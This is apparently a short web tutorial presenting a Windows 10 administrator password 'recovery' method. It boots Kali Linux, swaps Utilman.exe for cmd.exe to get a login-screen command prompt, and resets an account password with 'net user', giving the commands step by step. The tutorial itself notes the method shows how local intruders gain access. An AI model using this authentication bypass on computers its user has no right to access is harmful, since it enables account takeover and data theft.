The Windows operating system allows their users to provide an password upon the installation of the Windows 10 operating system, but sometimes it happens that the user forgets the Windows 10 user account password. For those users, we have created this awesome and simple Windows 10 Administrator password recovery guide which will allow you to recover your Administrator password with just 4 commands.
It is important to be prepared, so we urge you to download or obtain a copy of the Kali Linux operating system, this operating system is a Linux based operating system which contains a lot of security and recovery tools. It is also possible to use another type of Linux distribution, but we have chosen for the Kali Linux operating system for this tutorial.
Go to places, and click on the storage icon which shows “X” amount of storage. Once you have clicked on the icon, open the console and follow the commands bellow. If you need help, you can also use the video which has been made for this tutorial on how to recover your Windows 10 administrator password.
Windows 10 Administrator password recovery commands
- cd /media/
- cd tab/Windows/System32/
- mv Utilman.exe Utilman.old
- cp cmd.exe Utilman.exe
- reboot -f
- net user
- net user Cyberwarzone
- net user Cyberwarzone *
- [PROVIDE PASSWORD]
- [REPEAT PASSWORD]
We strongly urge our readers to not abuse this method, the method should only be used to recover passwords when asked. This is also a great method for security professionals to show how easy it is for a “local” intruder to gain access to local protected computers and devices which run Windows 10.